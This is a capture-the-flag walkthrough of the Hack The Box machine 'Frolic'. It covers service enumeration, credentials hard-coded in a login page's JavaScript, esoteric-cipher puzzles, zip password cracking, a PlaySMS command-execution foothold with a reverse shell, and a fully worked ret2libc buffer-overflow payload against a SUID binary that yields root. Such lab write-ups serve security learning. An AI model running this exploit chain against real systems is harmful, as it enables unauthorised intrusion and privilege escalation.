Hack The Box : Frolic
28 August, 2021
---------------------Starting Port Scan-----------------------
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
9999/tcp open abyss
---------------------Starting Script Scan-----------------------
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h49m57s, deviation: 3h10m30s, median: 1s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2021-08-24T21:40:09+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-08-24T16:10:09
|_ start_date: N/A
---------------------Starting Full Scan------------------------
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1880/tcp open vsat-control
9999/tcp open abyss
Making a script scan on extra ports: 1880
PORT STATE SERVICE VERSION
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
Seeing SMB ports, I ran enum4linux
=========================================
| Share Enumeration on 10.10.10.111 |
=========================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (frolic server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\sahay (Local User)
S-1-22-1-1001 Unix User\ayush (Local User)
Port 1880 was a Node-RED instance and port 9999 was running nginx


I ran gobuster on port 9999 and a bunch of paths came up
/admin (Status: 200) [Size: 634]
/backup (Status: 200) [Size: 28]
/dev (Status: 403) [Size: 178]
/test (Status: 200) [Size: 84150]
Let's see what they have
$ curl 10.10.10.111:9999/backup/
password.txt
user.txt
loop/
$ curl 10.10.10.111:9999/backup/password.txt
password - imnothuman
$ curl 10.10.10.111:9999/backup/user.txt
user - admin
$ curl 10.10.10.111:9999/backup/loop/
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>
</body>
</html>
These credentials didn't work with Node-RED. Let's check the /admin/ path, it has a login page too.

Credentials failed again, but then I checked the source of the page and found a password in the JS file
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate() {
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if (username == "admin" && password == "superduperlooperpassword_lol") {
alert("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
} else {
attempt--; // Decrementing by one.
alert("You have left " + attempt + " attempt;");
// Disabling fields after 3 attempts.
if (attempt == 0) {
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}
The page after logging in was just a series of ., ! and ?
$ curl http://frolic.htb:9999/admin/success.html
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.
Just randomly guessing paths, I stumbled upon /dev/backup
$ curl 10.10.10.111:9999/dev/backup/
/playsms
10.10.10.111:9999/playsms was pointing to a PlaySMS instance

Once again, none of the passwords along with admin as the username worked.
I circled back to the post login message and search around to no avail. Ultimately I put it into dcode.fr's cipher identifier it suggested Ook!. Decoding the message:
Nothing here check /asdiSIAJJ0QWE9JAS
I checked out the path and the returned content looked like base64 encoded
$ curl 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA
$ curl -s 10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 --decode > random; file random
random: Zip archive data, at least v2.0 to extract
Extracting the files inside required a password and none of the two found before worked, so I decided to brute force.
$ fcrackzip -u -D -p ../../wordlists/rockyou.txt random.zip
PASSWORD FOUND!!!!: pw == password
$ cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
$ cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
This was base64 encoded Brainfuck, another esoteric programming language. Using dcode.fr again, the output was
idkwhatispass
Using this with admin as the username, I was able to login to PlaySMS. I looked for authenticated exploits for PlaySMS and using a combination of 42003 and 42044, I was able to execute commands through the user agent input.

Armed with this capability, I was able to get a reverse shell as www-data
$ nc -lvnp 4242
listening on [any] 4242 ...
connect to [10.10.16.174] from (UNKNOWN) [10.10.10.111] 52294
bash: cannot set terminal process group (1233): Inappropriate ioctl for device
bash: no job control in this shell
www-data@frolic:~/html/playsms$ whoami
whoami
www-data
www-data@frolic:~/html/playsms$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@frolic:~/html/playsms$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
sahay:x:1000:1000:Ayush Sahay,,,:/home/sahay:/bin/bash
ayush:x:1001:1001:,,,:/home/ayush:/bin/bash
User
www-data had access to the flag inside ayush's home directory
www-data@frolic:/home$ ls *
ls *
ayush:
user.txt
sahay:
www-data@frolic:/home$ cat ayush/user.txt
cat ayush/user.txt
<flag>
Root
There was a SUID binary called rop present in /home/ayush/.binary
www-data@frolic:/home/ayush/.binary$ file rop
file rop
rop: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped
www-data@frolic:/home/ayush/.binary$ rop
rop
[*] Usage: program <message>
www-data@frolic:/home/ayush/.binary$ rop hello
rop hello
[+] Message sent: hello
Let's run it with strace
www-data@frolic:/home/ayush/.binary$ strace ./rop hello
strace ./rop hello
execve("./rop", ["./rop", "hello"], [/* 6 vars */]) = 0
brk(NULL) = 0x804b000
fcntl64(0, F_GETFD) = 0
fcntl64(1, F_GETFD) = 0
fcntl64(2, F_GETFD) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd6000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=28096, ...}) = 0
mmap2(NULL, 28096, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fcf000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320\207\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1786484, ...}) = 0
mmap2(NULL, 1792540, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e19000
mmap2(0xb7fc9000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1af000) = 0xb7fc9000
mmap2(0xb7fcc000, 10780, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fcc000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e18000
set_thread_area({entry_number:-1, base_addr:0xb7e18700, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7fc9000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xb7ffe000, 4096, PROT_READ) = 0
munmap(0xb7fcf000, 28096) = 0
setuid32(0) = -1 EPERM (Operation not permitted)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL) = 0x804b000
brk(0x806c000) = 0x806c000
write(1, "[+] Message sent: hello", 23[+] Message sent: hello) = 23
exit_group(0) = ?
+++ exited with 0 +++
This binary is accepting input so I was thinking of a buffer overflow attack
$ pwn checksec rop
[*] 'rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX enabled means the stack is not executable. I learnt that this prevents classic buffer overflows since that involves executing an address right from the stack. Instead if the NX bit is set, a return to libc attack can be used, it sets the EIP to an address of a function of our choice from libc.
OS Level ASLR was also disabled on the machine.
www-data@frolic:/home/ayush/.binary$ cat /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
0
Giving a thousand character input crashed the program
$eax : 0x3e8
$ebx : 0xffffd140 → "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0A[...]"
$ecx : 0x0
$edx : 0x0
$esp : 0xffffd110 → "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A[...]"
$ebp : 0x41366241 ("Ab6A"?)
$esi : 0xf7faa000 → 0x001e4d6c
$edi : 0xf7faa000 → 0x001e4d6c
$eip : 0x62413762 ("b7Ab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x62413762 -l 1000
[*] Exact match at offset 52
Now I need the address of libc
www-data@frolic:/home/ayush/.binary$ ldd rop
ldd rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
This is the start of libc so I need to find the location of system and exit functions. Also I'll need the location of /bin/sh string since that will be the argument to system
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "exit"
</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "exit"
112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
</.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
15ba0b /bin/sh
Let's add the libc start offset
system @ B7E19000 + 0003ADA0 = B7E53DA0
exit @ B7E19000 + 0002E9D0 = B7E479D0
/bin/sh @ B7E19000 + 15BA0B = B7F74A0B
Creating the payload
payload = 'A' * 52
payload += "\xa0\x3d\xe5\xb7"
payload += "\xd0\x79\xe4\xb7"
payload += "\x0b\x4a\xf7\xb7"
print(payload)
First I tried to use a base64 encoded form of the payload but that didn't seem to work, so I just moved the python code inline
www-data@frolic:/home/ayush/.binary$ ./rop $(echo "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQcKgPcOlwrfDkHnDpMK3C0rDt8K3Cg==" | base64 -d)
<FBQUFBQUFBQUFBQcKgPcOlwrfDkHnDpMK3C0rDt8K3Cg==" | base64 -d)
Segmentation fault (core dumped)
www-data@frolic:/home/ayush/.binary$ ./rop $(python3 -c 'print("A"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)
# whoami
whoami
root
# cat /root/root.txt
cat /root/root.txt
<flag>